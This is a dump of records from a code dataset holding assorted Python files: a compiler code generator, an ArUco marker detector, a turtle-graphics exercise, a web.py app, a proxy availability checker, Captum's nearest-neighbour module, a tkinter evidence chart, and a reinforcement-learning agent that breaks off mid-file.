obj_type = self.visit(obj, Access(o.frame, o.env, False, True))\n        if obj_code is None or obj_type is None:  \n            class_name = obj.name\n        else:\n            class_name = obj_type.classname.name  \n\n        # Find method\n        method = o.env.lookup_method(class_name, method_name)\n        if method is None:\n            raise IllegalRuntimeException(\"Cannot find method!\")\n        \n        for i in range(len(params)):\n            arg_code, arg_type = self.visit(params[i], Access(o.frame, o.env, False, True))\n            code += arg_code\n            if isinstance(arg_type, IntType) and isinstance(method.type.partype[i], FloatType):\n                code += self.emit.emitI2F(o.frame)\n        \n        if method.is_static:\n            code += self.emit.emitINVOKESTATIC(class_name + \"/\" + method_name, method.type, o.frame)\n        else:\n            code = obj_code + code + self.emit.emitINVOKEVIRTUAL(class_name + \"/\" + method_name, method.type, o.frame)\n        if not isinstance(method.type.rettype, VoidType):\n            code += self.emit.emitPOP(o.frame)\n        return code\n        \n    def visitId(self, ast, o):  # ID only for local variable, attribute or method use access\n        local_found = o.env.lookup_local(ast.name)\n        if local_found is None:\n            return None, None\n        if o.is_left:   # write\n            return self.emit.emitWRITEVAR(ast.name, local_found.type, local_found.index, o.frame), local_found.type\n        # read\n        return self.emit.emitREADVAR(ast.name, local_found.type, local_found.index, o.frame), local_found.type\n\n    def visitIntLiteral(self, ast, o):\n        return self.emit.emitPUSHICONST(ast.value, o.frame), IntType()\n\n    def visitFloatLiteral(self, ast, o):\n        return self.emit.emitPUSHFCONST(str(ast.value), o.frame), FloatType()\n\n    def visitBooleanLiteral(self, ast, o):\n        return self.emit.emitPUSHCONST(str(ast.value), BoolType(), o.frame), BoolType()\n\n    def visitStringLiteral(self, ast, o):\n        return self.emit.emitPUSHCONST('\"' + str(ast.value) + '\"', StringType(), o.frame), StringType()\n        \n    def visitNullLiteral(self, ast, o):\n        return self.emit.emitNULL(o.frame), NullLiteral()\n\n    def visitSelfLiteral(self, ast, o):\n        return self.emit.emitTHIS(o.frame), ClassType(Id(self.current_class))\n    \n    def visitArrayLiteral(self, ast, o):\n        code = \"\"\n        value_list = ast.value\n        ele_type = None\n        o.frame.push()  # Virtual emit array, need emit after because we don't know type of element at this line\n        for i in range(len(value_list)):\n            code += self.emit.emitDUP(o.frame)\n            code += self.emit.emitPUSHICONST(i, o.frame)\n            ele_code, ele_type = self.visit(value_list[i], o)\n            code += ele_code\n            code += self.emit.emitASTORE(ele_type, o.frame)\n        o.frame.pop()  # Reset frame\n        arr_type = ArrayType(len(value_list), ele_type)\n        code = self.emit.emitARRAY(arr_type, o.frame) + code\n        return code, arr_type","repo_name":"nhanvo031001/PPL-CSE-HCMUT","sub_path":"assignment4/src/main/d96/codegen/CodeGenerator_old_2.py","file_name":"CodeGenerator_old_2.py","file_ext":"py","file_size_in_byte":28338,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"}
{"seq_id":"27523656066","text":"import cv2 as cv\nfrom cv2 import aruco\nimport numpy as np\n\nmarker_dict = aruco.Dictionary_get(aruco.DICT_4X4_50)\n\nparam_markers = aruco.DetectorParameters_create()\ncap = cv.VideoCapture(0)\n\nwhile True:\n    ret, frame = cap.read()\n    if not ret:\n        break\n    frame = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n    marker_corners, marker_IDs, reject = aruco.detectMarkers(\n        frame, marker_dict, parameters = param_markers    \n        )\n    if marker_corners:\n        for ids, corners in zip(marker_IDs, marker_corners):\n            cv.polylines(frame, [corners.astype(np.int32)], True, (0, 244, 28), 4, cv.LINE_AA)\n            \n            corners = corners.reshape(4,2)\n            corners = corners.astype(int)\n            top_right = corners.ravel()\n            cv.putText(frame, f'id: {ids[0]}', top_right, \n                cv.FONT_HERSHEY_COMPLEX, 1.3, (0,255,23), 2, cv.LINE_AA)\n            \n            #print(ids,\"  \", corners)    \n        \n    cv.imshow('frame', frame)\n    key = cv.waitKey(1)  #take the input form the keyboard\n    if key == ord('q'):  # convert the input into uni-code\n        break \n\ncap.release()\ncv.destroyAllWindows()\n","repo_name":"sriraam/pic_puz","sub_path":"MARKER_DETECTION/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"37395380405","text":"import requests\nimport re\ndef choose_name(str):\n    p = re.compile(r'\\n[\\s]*(.*?)[\\s]*\\n')\n    p2 = re.compile(r'.*?[(]')\n    m=p.match(str)\n    name1 = m.group(0).strip()#获得 东方财富(34344)\n    m2=p2.match(name1)\n    name = m2.group(0).strip()[0:m2.end()-1]\n    return name\nname = choose_name('\\n      测试(4545)     \\n')\nprint(name)\n# name = '\\n      测试(4545)     \\n'\n# p=re.compile(r'\\n[\\s]*(.*?)[\\s]*\\n')\n# m=p.match(name)\n# temp=m.group(0).strip()\n# print(temp)\n# \n# p2 = re.compile(r'.*?[(]')\n# m2=p2.match(temp)\n# test = m2.group(0).strip()[0:m2.end()-1]\n# print(test)\n#temp2=m2.group(0).strip()\n#print(temp2)","repo_name":"menglingqiang/Python-","sub_path":"request/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"2892423591","text":"from application import config, process_output\n\n@process_output.formatOutput\ndef updateConfig(args):\n    '''\n    Takes a dictionary of arguments, from which it extracts the setting and value.\n    Checks that the specified setting and value are valid, then writes the\n    changes to the config.ini file.\n    Returns confirmation of config change.\n    Returns dictionary.\n    '''\n    setting = args.get('setting')\n    value = args.get('value')\n    valid_outputformats=[\"json\",\"yaml\"]\n\n    if setting not in (config.options('settings')):\n        return {'status': 'error','msg':f'Invalid setting - valid settings are {config.options(\"settings\")}'}\n    if setting == 'outputformat' and value.lower() not in valid_outputformats:\n        return {'status': 'error','msg':\"Invalid value for 'outputformat' - valid settings are 'json' or 'yaml'\"}\n    if setting == 'databasepath':\n        return {'status': 'error','msg':\"I can't do that yet!'\"}\n    if setting == 'outputindent' and not value.isnumeric():\n        return {'status': 'error','msg':\"Invalid value for 'outputindent' - value must be a number!'\"}\n    if setting == 'outputindent' and int(value)>10:\n        return {'status': 'error','msg':\"Invalid value for 'outputindent' - value must be less than 10!'\"}\n    \n    setting=str(setting)\n    value=str(value)\n    \n    with open('application/config.ini', 'w') as configfile:\n        config.set('settings', setting, value)\n        config.write(configfile)\n    output = {'status': 'success','msg':f'{setting} set to {value}!'}\n    return output\n","repo_name":"brownlessdaniel/mindmap","sub_path":"application/config_writer.py","file_name":"config_writer.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17013710403","text":"#-----------------------------------------------------------------\n#\n# Twinkle, Twinkle Little Star\n#\n# As an introduction to creating multiple objects from the same\n# class, in this exercise you will develop a program with\n# multiple turtle graphics objects appearing on the screen at\n# the same time.\n#\n# So far all of our turtle graphics programs have involved only\n# a single default drawing cursor (\"turtle\") which limits\n# what we can do.  However Turtle (with a capital \"T\") is actually\n# a class, meaning that we can instantiate multiple objects from\n# it and have several \"turtles\" appear on the screen at the\n# same time.\n#\n# When you first run this file you should see a star appear on\n# the screen which \"twinkles\" (by randomly making itself visible and\n# invisible many times).  Study the code below to see how\n# this star \"object\" is created and manipulated.  You may need to\n# experiment with the \"twinkling\" frequency and duration to get a\n# nice effect on your particular computer.\n#\n# Your task is to modify this code so that there is more than one\n# twinkling star on the screen simultaneously.  Do this by duplicating\n# the code fragments below to create as many stars as you want.  Note\n# that each star object must have a distinct name, so that the\n# program can distinguish them.\n#\n# Extra challenge: If you're comfortable with loops and lists you may\n# want to extend the program so that it creates numerous stars, but\n# without unnecessary duplication of code.  The \"Busy Bees\"\n# demonstration from the lecture shows how to do this.\n#\n\n\n#------------------------------------------------------------------\n# Import the necessary pre-defined functions.\nfrom turtle import *\nfrom random import randint\n\n\n#------------------------------------------------------------------\n# Main program starts here:\n#\n\n\n# 1. Set up the drawing window.\ntitle(\"Twinkle, Twinkle Little Stars\")\nbgcolor(\"dark blue\")\n\n\n# 2. Register the star icon.\nregister_shape(\"small_star.gif\")\n\n\n# 3. Instantiate three star objects as instances\n#    of the Turtle class, define their shape, and move\n#    them to random positions on the screen.\nmax_dist = 300 # how far we can go from the centre in pixels\n\nstar_one = Turtle()\nstar_one.shape(\"small_star.gif\")\nstar_one.penup()\nstar_one.goto(randint(-max_dist, max_dist), randint(-max_dist, max_dist))\n\nstar_two = Turtle()\nstar_two.shape(\"small_star.gif\")\nstar_two.penup()\nstar_two.goto(randint(-max_dist, max_dist), randint(-max_dist, max_dist))\n\nstar_three = Turtle()\nstar_three.shape(\"small_star.gif\")\nstar_three.penup()\nstar_three.goto(randint(-max_dist, max_dist), randint(-max_dist, max_dist))\n\n# 4. Make the images of the stars appear and disappear randomly many\n#    times.\nfor twinkle in range(500): # Adjust this to vary the duration of twinkling\n    if randint(0, 9) <= 1: # Adjust this to vary the twinkling frequency\n        star_one.hideturtle()\n    else:\n        star_one.showturtle()\n    if randint(0, 9) <= 1: # Adjust this to vary the twinkling frequency\n        star_two.hideturtle()\n    else:\n        star_two.showturtle()\n    if randint(0, 9) <= 1: # Adjust this to vary the twinkling frequency\n        star_three.hideturtle()\n    else:\n        star_three.showturtle()\n        \n# 5. Make sure the stars are visible at the end\nstar_one.showturtle()\nstar_two.showturtle()\nstar_three.showturtle()\n\n# 6. Release the drawing window when finished.\ndone()\n","repo_name":"ARWA-ALraddadi/python-tutorial-for-beginners","sub_path":"12-Workshop/twinkle_twinkle.py","file_name":"twinkle_twinkle.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"885223743","text":"'''\n#=============================================================================\n#     FileName: app.py \n#         Desc: project of one game that run on the web page \n#       Author: Honglong Wu\n#        Email: wuhonglong@genomics.cn\n#      Version: 0.0.1\n#      Created: 15/03/2015\n#      History:\n#=============================================================================\n'''\n\n#-*- coding: utf-8 -*-\n\nimport web\n\nurls = (\n  '/hello', 'Index'\n)\n\napp = web.application(urls, globals())\n\n# absolute path not the relative path\nrender = web.template.render('/Users/user/bin/GitHub/LPHW/Ex50/gothonweb/templates/', base = \"layout\")\n\nclass Index(object):\n\tdef GET(self):\n\t\treturn render.hello_form()\n\t\n\tdef POST(self):\n\t\tform = web.input(greet=None, name = \"Nobody\")\n\t\tgreet = \"%s, %s\" % (form.greet, form.name)\n\t\treturn render.index(greeting = greet)\n\nif __name__ == \"__main__\":\n\tapp.run()\n\n","repo_name":"Honglongwu/LPHW","sub_path":"Ex50/gothonweb/bin/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"38850611289","text":"import datetime\n\nfrom django import template\nfrom schedule.models import Calendar\nfrom schedule.settings import CHECK_EVENT_PERM_FUNC, CHECK_CALENDAR_PERM_FUNC\nfrom schedule.templatetags.scheduletags import _cook_slots\n\nfrom good_spot.places.tasks import get_places_to_update\n\nregister = template.Library()\n\n\n@register.inclusion_tag('proxy/templatetags/_updates_count.html', takes_context=True)\ndef updates_count(context, slot):\n    context['count'] = get_places_to_update(slot.start, slot.end).count()\n    return context\n\n\n@register.inclusion_tag('schedule/_daily_table.html', takes_context=True)\ndef custom_daily_table(context, day, start=8, end=20, increment=30):\n    \"\"\"\n      Display a nice table with occurrences and action buttons.\n      Arguments:\n      start - hour at which the day starts\n      end - hour at which the day ends\n      increment - size of a time slot (in minutes)\n    \"\"\"\n    user = context['request'].user\n    addable = CHECK_EVENT_PERM_FUNC(None, user)\n    if 'calendar' in context:\n        addable = addable and CHECK_CALENDAR_PERM_FUNC(context['calendar'], user)\n    context['addable'] = addable\n    day_part = day.get_time_slot(day.start + datetime.timedelta(hours=start), day.start + datetime.timedelta(hours=end))\n    # get slots to display on the left\n    slots = _cook_slots(day_part, increment)\n    context['slots'] = slots\n    return context\n\n\n@register.inclusion_tag('proxy/templatetags/calendar_list.html')\ndef calendars_list():\n    calendars = Calendar.objects.all()\n    context = {\n        \"calendars\": calendars\n    }\n    return context\n","repo_name":"kylealexxander/BarFinder_Django","sub_path":"good_spot/proxy/templatetags/proxytags.py","file_name":"proxytags.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"40255240455","text":"import tornado.httpserver\nimport tornado.ioloop\nimport tornado.web\nfrom pymongo import MongoClient\n\nfrom lib import game\nimport websocket\n\nimport os\n\n\nclass Application(tornado.web.Application):\n\tdef __init__(self, newGame):\n\t\tself.game = newGame\n\n\t\turls = [\n\t\t\t(r'/', websocket.WSHandler, {'game': self.game})\n\t\t]\n\n\t\tsettings = dict(\n\t\t\ttemplate_path=os.path.join(os.path.dirname(__file__), 'templates'),\n\t\t\tstatic_path=os.path.join(os.path.dirname(__file__), 'static'),\n\t\t\tcookie_secret='__FIX ME:_GENERATE_YOUR_OWN_RANDOM_VALUE_HERE__',\n\t\t\tdebug=True\n\t\t)\n\t\tsuper(Application, self).__init__(urls, **settings)\n\n\ndef main():\n\tnewGame = game.Game()\n\n\thttp_server = tornado.httpserver.HTTPServer(Application(newGame))\n\thttp_server.listen(4000)\n\ttornado.ioloop.IOLoop.current().start()\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"OscarHeller/rd","sub_path":"game/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"38487498950","text":"### Imports ###\nimport sys, queue, threading, requests, datetime\nfrom colorama import Fore,init\n\n### Variables ###\ninit()\ninput_queue = queue.Queue()\nresult_queue = queue.Queue()\nthread_lock = threading.Lock()\ndate_time = datetime.datetime.now()\ncurrent_time = date_time.time()\n\nINFO = \"[\\x1b[33m?\\x1b[37m] \"\nERROR = \"[\\x1b[31m-\\x1b[37m] \"\nSUCCESS = \"[\\x1b[32m+\\x1b[37m] \"\n\n### Editable Variables ###\n\ntimeout_period = 1\n\nclass ProcessThread(threading.Thread):\n    def __init__(self, in_queue, out_queue):\n        threading.Thread.__init__(self)\n        self.in_queue = in_queue\n        self.out_queue = out_queue\n\n    def run(self):\n        while True:\n            result = self.process(self.in_queue.get())\n            if (result is not None):\n                self.out_queue.put(result)\n\n            self.in_queue.task_done()\n\n    def process(self, proxy):\n        clean_proxy = proxy.replace(\"\\n\", \"\")\n        try:\n            proxy_formatter = {\n                \"http\": \"http://\" + clean_proxy,\n                \"https\": \"http://\" + clean_proxy\n            }\n            r = requests.get(\"http://ipinfo.io/json\", proxies=proxy_formatter, timeout=timeout_period)\n            printableOutput = (Fore.GREEN + '[%s:%s:%s]  %s' % (current_time.hour, current_time.minute, current_time.second , r.json()[\"ip\"]))\n            with thread_lock:\n                print(printableOutput)\n\n                return \"%s\" % (proxy)\n        except:\n            with thread_lock:\n                print(Fore.RED + '[%s:%s:%s]  %s' % (current_time.hour, current_time.minute, current_time.second , clean_proxy))\n            return None\n\n    def terminate(self):    \n        None\n\n\nclass LogWorking(threading.Thread):\n\tdef __init__(self, queue, output_file):\n\t\tthreading.Thread.__init__(self)\n\t\tself.queue = queue\n\t\tself.output = open(output_file, \"a\")\n\t\tself.shutdown = False\n\n\tdef log(self, string):\n\t\tprint(string, file=self.output)\n\n\tdef run(self):\n\t\twhile not self.shutdown:\n\t\t\tself.log(self.queue.get())\n\t\t\tself.queue.task_done()\n\n\tdef terminate(self):\n\t\tself.output.close()\n\t\tself.shutdown = True\n\n\ndef main():\n\t# Check Argument Length\n\tif (len(sys.argv) < 4):\n\t\tprint(\"%s Incorrect usage!\" % (ERROR))\n\t\tprint(\"%s Usage: %s <proxy list> <threads> <output file>\" % (INFO, sys.argv[0]))\n\t\texit(1)\n\n\ttry:\n\t\tip_list = [line.rstrip(\"\\n\") for line in open(sys.argv[1], \"r\")]\n\texcept BaseException as error:\n\t\tprint(str(error))\n\t\texit(1)\n\n\t# Check If File Is Empty\n\tif (len(ip_list) == 0):\n\t\tprint(\"%s Chosen file is blank\" % (ERROR))\n\t\texit(1)\n\n\t# Load Input Queue\n\ti = 0\n\tfor ip in ip_list:\n\t\tinput_queue.put(ip)\n\t\ti += 1\n\t\tsys.stdout.write(\"\\rAdded %d proxies to queue\" % (i))\n\t\tsys.stdout.flush()\n\n\tprint(\"\\n\\n%s Checking %d proxies\" % (INFO, len(ip_list)))\n\n\t# Start Workers\n\tworkers = []\n\tfor i in range(0, int(sys.argv[2])):\n\t\tthread = ProcessThread(input_queue, result_queue)\n\t\tthread.daemon = True\n\t\tthread.start()\n\t\tworkers.append(thread)\n\n\tlogger = LogWorking(result_queue, sys.argv[3])\n\tlogger.daemon = True\n\tlogger.start()\n\n\t# Wait until our queues are finished\n\tinput_queue.join()\n\tresult_queue.join()\n\tlogger.terminate()\n\tfor worker in workers:\n\t\tworker.terminate()\n\n\nif (__name__ == \"__main__\"):\n\tmain()\n","repo_name":"sockets/proxy-tester","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"71283064464","text":"from abc import ABC, abstractmethod\nfrom typing import Tuple\n\nimport torch\nfrom torch import Tensor\n\n\nclass NearestNeighbors(ABC):\n    r\"\"\"\n    An abstract class to define a nearest neighbors data structure. Classes\n    implementing this interface are intended for computing proponents / opponents in\n    certain implementations of `TracInCPBase`. In particular, it is for use in\n    implementations which compute proponents / opponents of a test instance by\n    1) storing representations of training instances within a nearest neighbors data\n    structure, and 2) finding within that structure the nearest neighbor of the\n    representation of a test instance. The assumption is that the data structure\n    stores the tensors passed to the `setup` method, which we refer to as the \"stored\n    tensors\". If this class is used to find proponents / opponents, the nearest\n    neighbors of a tensor should be the stored tensors that have the largest\n    dot-product with the query.\n    \"\"\"\n\n    @abstractmethod\n    def get_nearest_neighbors(\n        self, query: torch.Tensor, k: int\n    ) -> Tuple[Tensor, Tensor]:\n        r\"\"\"\n        Given a `query`, a tensor of shape (N, *), returns the nearest neighbors in the\n        \"stored tensors\" (see above). `query` represents a batch of N tensors, each\n        of common but arbitrary shape *. We always assume the 0-th dimension indexes\n        the batch. In use cases of this class for computing proponents / opponents,\n        the nearest neighbors of a tensor should be the stored tensors with the largest\n        dot-product with the tensor, and the tensors in `query` will all be 1D,\n        so that `query` is 2D.\n\n        Args:\n            query (Tensor): tensor representing the batch of tensors for which k-nearest\n                    neighbors are desired. `query` is of shape (N, *), where N is the\n                    size of the batch, i.e. the 0-th dimension of `query` indexes the\n                    batch. * denotes an arbitrary shape, so that each tensor in the\n                    batch can be of a common, but arbitrary shape.\n            k (int): The number of nearest neighbors to return.\n\n        Returns:\n            results (tuple): A tuple of `(indices, distances)` is returned. `indices`\n                    is a 2D tensor where `indices[i,j]` is the index (within the\n                    \"stored tensors\" passed to the `setup` method) of the `j`-th\n                    nearest neighbor of the `i`-th instance in query, and\n                    `distances[i,j]` is the corresponding distance. `indices` should\n                    be of dtype `torch.long` so that it can be used to index torch\n                    tensors.\n        \"\"\"\n        pass\n\n    @abstractmethod\n    def setup(self, data: torch.Tensor) -> None:\n        r\"\"\"\n        `data` denotes the \"stored tensors\". These are the tensors within which we\n        want to find the nearest neighbors to each tensor in a batch of tensors, via a\n        call to the`get_nearest_neighbors` method. Before we can call it, however,\n        we need to first store the stored tensors, by doing processing that indexes\n        the stored tensors in a form that enables nearest-neighbors computation.\n        This method does that preprocessing, and is assumed to be called before any\n        call to `get_nearest_neighbors`. For example, this method might put the\n        stored tensors in a K-d tree. The tensors in the \"stored tensors\" can be of a\n        common, but arbitrary shape, denoted *, so that `data` is of shape (N, *),\n        where N is the number of tensors in the stored tensors. Therefore, the 0-th\n        dimension indexes the tensors in the stored tensors.\n\n        Args:\n            data (Tensor): A tensor of shape (N, *) representing the stored tensors.\n                    The 0-th dimension indexes the tensors in the stored tensors,\n                    so that `data[i]` is the tensor with index `i`. The nearest\n                    neighbors of a query will be referred to by their index.\n        \"\"\"\n        pass\n\n\nclass AnnoyNearestNeighbors(NearestNeighbors):\n    \"\"\"\n    This is an implementation of `NearestNeighbors` that uses the Annoy module. At a\n    high level, Annoy finds nearest neighbors by constructing binary trees in which\n    vectors reside at leaf nodes. Vectors near each other will tend to be in the same\n    leaf node. See https://tinyurl.com/2p89sb2h and https://github.com/spotify/annoy\n    for more details. Annoy has 1 key parameter: the number of trees to construct.\n    Increasing the number of trees leads to more accurate results, but longer time to\n    create the trees and memory usage. As mentioned in the `NearestNeighbors`\n    documentation, for the use case of computing proponents / opponents, the nearest\n    neighbors returned should be those with the largest dot product with the query\n    vector. The term \"vector\" is used here because Annoy stores 1D vectors. However\n    in our wrapper around Annoy, we will allow the stored tensors to be of a common\n    but arbitrary shape *, and flatten them before storing in the Annoy data structure.\n    \"\"\"\n\n    def __init__(self, num_trees: int = 10) -> None:\n        \"\"\"\n        Args:\n            num_trees (int): The number of trees to use. Increasing this number gives\n                    more accurate computation of nearest neighbors, but requires longer\n                    setup time to create the trees, as well as memory.\n        \"\"\"\n        try:\n            import annoy  # noqa\n        except ImportError:\n            raise ValueError(\n                (\n                    \"Using `AnnoyNearestNeighbors` requires installing the annoy \"\n                    \"module. If pip is installed, this can be done with \"\n                    \"`pip install --user annoy`.\"\n                )\n            )\n\n        self.num_trees = num_trees\n\n    def setup(self, data: torch.Tensor) -> None:\n        \"\"\"\n        `data` denotes the \"stored tensors\". These are the tensors within which we\n        want to find the nearest neighbors to a query tensor, via a call to the\n        `get_nearest_neighbors` method. Before we can call `get_nearest_neighbors`,\n        we need to first store the stored tensors, by doing processing that indexes\n        the stored tensors in a form that enables nearest-neighbors computation.\n        This method does that preprocessing, and is assumed to be called before any\n        call to `get_nearest_neighbors`. In particular, it creates the trees used to\n        index the stored tensors. This index is built to enable computation of\n        vectors that have the largest dot-product with the query tensors. The tensors\n        in the \"stored tensors\" can be of a common, but arbitrary shape, denoted *, so\n        that `data` is of shape (N, *), where N is the number of tensors in the stored\n        tensors. Therefore, the 0-th dimension indexes the tensors in the stored\n        tensors.\n\n        Args:\n            data (Tensor): A tensor of shape (N, *) representing the stored tensors.\n                    The 0-th dimension indexes the tensors in the stored tensors,\n                    so that `data[i]` is the tensor with index `i`. The nearest\n                    neighbors of a query will be referred to by their index.\n        \"\"\"\n        import annoy\n\n        data = data.view((len(data), -1))\n        projection_dim = data.shape[1]\n        self.knn_index = annoy.AnnoyIndex(projection_dim, \"dot\")\n        for (i, projection) in enumerate(data):\n            self.knn_index.add_item(i, projection)\n        self.knn_index.build(self.num_trees)\n\n    def get_nearest_neighbors(\n        self, query: torch.Tensor, k: int\n    ) -> Tuple[Tensor, Tensor]:\n        r\"\"\"\n        Given a `query`, a tensor of shape (N, *), returns the nearest neighbors in the\n        \"stored tensors\" (see above). `query` represents a batch of N tensors, each\n        of common but arbitrary shape *. We always assume the 0-th dimension indexes\n        the batch. In use cases of this class for computing proponents / opponents,\n        the nearest neighbors of a tensor should be the stored tensors with the largest\n        dot-product with the tensor, and the tensors in `query` will all be 1D,\n        so that `query` is 2D. This implementation returns the stored tensors\n        that have the largest dot-product with the query tensor, and does not constrain\n        the tensors in `query` or in the stored tensors to be 1D. If tensors are of\n        dimension greater than 1D, their dot-product will be defined to be the\n        dot-product of the flattened version of tensors.\n\n        Args:\n            query (Tensor): tensor representing the batch of tensors for which k-nearest\n                    neighbors are desired. `query` is of shape (N, *), where N is the\n                    size of the batch, i.e. the 0-th dimension of `query` indexes the\n                    batch. * denotes an arbitrary shape, so that each tensor in the\n                    batch can be of a common, but arbitrary shape.\n            k (int): The number of nearest neighbors to return.\n\n        Returns:\n            results (tuple): A tuple of `(indices, distances)` is returned. `indices`\n                    is a 2D tensor where `indices[i,j]` is the index (within the\n                    \"stored tensors\" passed to the `setup` method) of the `j`-th\n                    nearest neighbor of the `i`-th instance in query, and\n                    `distances[i,j]` is the corresponding distance. `indices` should\n                    be of dtype `torch.long` so that it can be used to index torch\n                    tensors.\n        \"\"\"\n        query = query.view((len(query), -1))\n        indices_and_distances = [\n            self.knn_index.get_nns_by_vector(instance, k, include_distances=True)\n            for instance in query\n        ]\n        indices, distances = zip(*indices_and_distances)\n        indices = torch.Tensor(indices).type(torch.long)\n        distances = torch.Tensor(distances)\n        return indices, distances\n","repo_name":"pytorch/captum","sub_path":"captum/influence/_utils/nearest_neighbors.py","file_name":"nearest_neighbors.py","file_ext":"py","file_size_in_byte":10067,"program_lang":"python","lang":"en","doc_type":"code","stars":4279,"dataset":"github-code","pt":"47"}
{"seq_id":"12687270566","text":"import tkinter as tk\nfrom tkinter import ttk\nimport sqlite3\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nfrom collections import defaultdict\n\nclass GraphiquePreuves(tk.Frame):\n    def __init__(self, parent, controller):\n        tk.Frame.__init__(self, parent)\n\n        self.controller = controller\n\n        self.bouton_afficher_graphique = ttk.Button(self, text=\"Afficher le graphique\", command=self.afficher_graphique)\n        self.bouton_afficher_graphique.pack(pady=10)\n\n        self.graphique_frame = ttk.Frame(self)\n        self.graphique_frame.pack(pady=10)\n\n    def afficher_graphique(self):\n        # Connexion à la base de données\n        try:\n            connexion = sqlite3.connect('database.db')\n            curseur = connexion.cursor()\n\n            # Exemple de requête SQL, ajustez-la en fonction de votre structure de base de données\n            curseur.execute('SELECT enquId, type FROM Preuves')\n            resultats = curseur.fetchall()\n\n            # Fermez la connexion après avoir récupéré les données\n            connexion.close()\n\n            # Traitement des données et création du graphique\n            data_dict = defaultdict(lambda: defaultdict(int))\n\n            for resultat in resultats:\n                enquId, type_preuve = resultat\n                data_dict[enquId][type_preuve] += 1\n\n            # Création du graphique à barres empilées\n            figure = Figure(figsize=(8, 6), dpi=100)\n            subplot = figure.add_subplot(111)\n\n            enquIds = list(data_dict.keys())\n            types = list(set(type_preuve for type_preuve in data_dict[enquIds[0]].keys()))  # Prend tous les types de preuves\n\n            bottom = [0] * len(types)\n\n            for enquId in enquIds:\n                valeurs = [data_dict[enquId][type_preuve] for type_preuve in types]\n                subplot.bar(types, valeurs, bottom=bottom, label=f\"enquId {enquId}\")\n                bottom = [b + v for b, v in zip(bottom, valeurs)]\n\n            subplot.set_xlabel('Type de Preuve')\n            subplot.set_ylabel('Nombre de Preuves')\n            subplot.legend()\n\n            max_y = max(bottom)\n            subplot.set_yticks(range(max_y + 1))\n\n            canvas = FigureCanvasTkAgg(figure, master=self.graphique_frame)\n            canvas.draw()\n            canvas.get_tk_widget().pack(side=tk.TOP, fill=tk.BOTH, expand=1)\n\n        except sqlite3.Error as e:\n            print(f\"Erreur lors de la récupération des données depuis la base de données : {e}\")\n\n# Exemple d'utilisation de la classe dans l'application principale\nclass Application(tk.Tk):\n    def __init__(self, *args, **kwargs):\n        tk.Tk.__init__(self, *args, **kwargs)\n\n        self.title(\"Graphique des Preuves par Type\")\n        self.geometry(\"800x600\")\n\n        self.graphique_preuves = GraphiquePreuves(self, self)\n        self.graphique_preuves.pack()\n\n# Lancement de l'application\napp = Application()\napp.mainloop()\n","repo_name":"aurelle-awountsa/ProjetDev2","sub_path":"Enqueteur/grafic.py","file_name":"grafic.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"41634371324","text":"from abc import abstractmethod, ABC\nimport networkx as nx\nimport numpy as np\nfrom relnet.agent.base_agent import Agent\n\n\nclass BaselineAgent(Agent, ABC):\n    is_trainable = False\n\n    def __init__(self, environment):\n        super().__init__(environment)\n        self.future_actions = None\n\n    def setup(self, options, hyperparams):\n        super().setup(options, hyperparams)\n\n    def make_actions(self, t, **kwargs):\n        if t % 3 == 0:\n            action_type, flag = self.environment.exploratory_actions(self.pick_actions_using_strategy)\n            self.next_exploration_actions = flag\n            return action_type\n\n        elif t % 3 == 1:\n            if self.next_exploration_actions is not None:\n                exploration_actions_t0, exploration_actions_t1 = \\\n                    self.environment.exploratory_actions(self.pick_actions_using_strategy)\n                self.next_exploration_actions = exploration_actions_t1\n                return exploration_actions_t0\n\n        else:\n            if self.next_exploration_actions is not None:\n                return self.next_exploration_actions\n\n    def finalize(self):\n        pass\n\n    @abstractmethod\n    def pick_actions_using_strategy(self, i):\n        pass\n\n\nclass RandomAgent(BaselineAgent):\n    \"\"\"\n    Selects actions randomly from the available actions.\n    \"\"\"\n    algorithm_name = 'random'\n    is_deterministic = False\n\n    def __init__(self, environment):\n        super().__init__(environment)\n\n    def pick_actions_using_strategy(self, i):\n        return self.pick_random_actions(i)\n\n\nclass EdgeConnectAgent(BaselineAgent):\n    \"\"\"\n    Connect nodes with lowest reward, playing non-dominant action, to a node with high reward playing dominant action.\n    \"\"\"\n    algorithm_name = 'edge_connect'\n    is_deterministic = True\n\n    def __init__(self, environment):\n        super().__init__(environment,)\n\n    def pick_actions_using_strategy(self, i):\n        first_node, second_node = None, None\n        g = self.environment.g_list[i]\n\n        if g.action_type is None:\n            first_node = 'add'\n            second_node = -1.\n            return first_node, second_node\n\n        # Get rewards and action dict, node degree array\n        all_nodes = g.all_nodes_set\n        rewards = g.rewards\n        actions = g.actions\n        banned_first_nodes = g.banned_actions\n        first_valid_acts = self.environment.get_valid_actions(g, banned_first_nodes)\n        if len(first_valid_acts) == 0:\n            return -1, -1\n\n        # Get the dominant action\n        if (sum(list(actions.values())) / len(list(actions.values()))) < 0.5:\n            dominant_action = 0.\n        else:\n            dominant_action = 1.\n\n        # Get agents playing non-dominant action\n        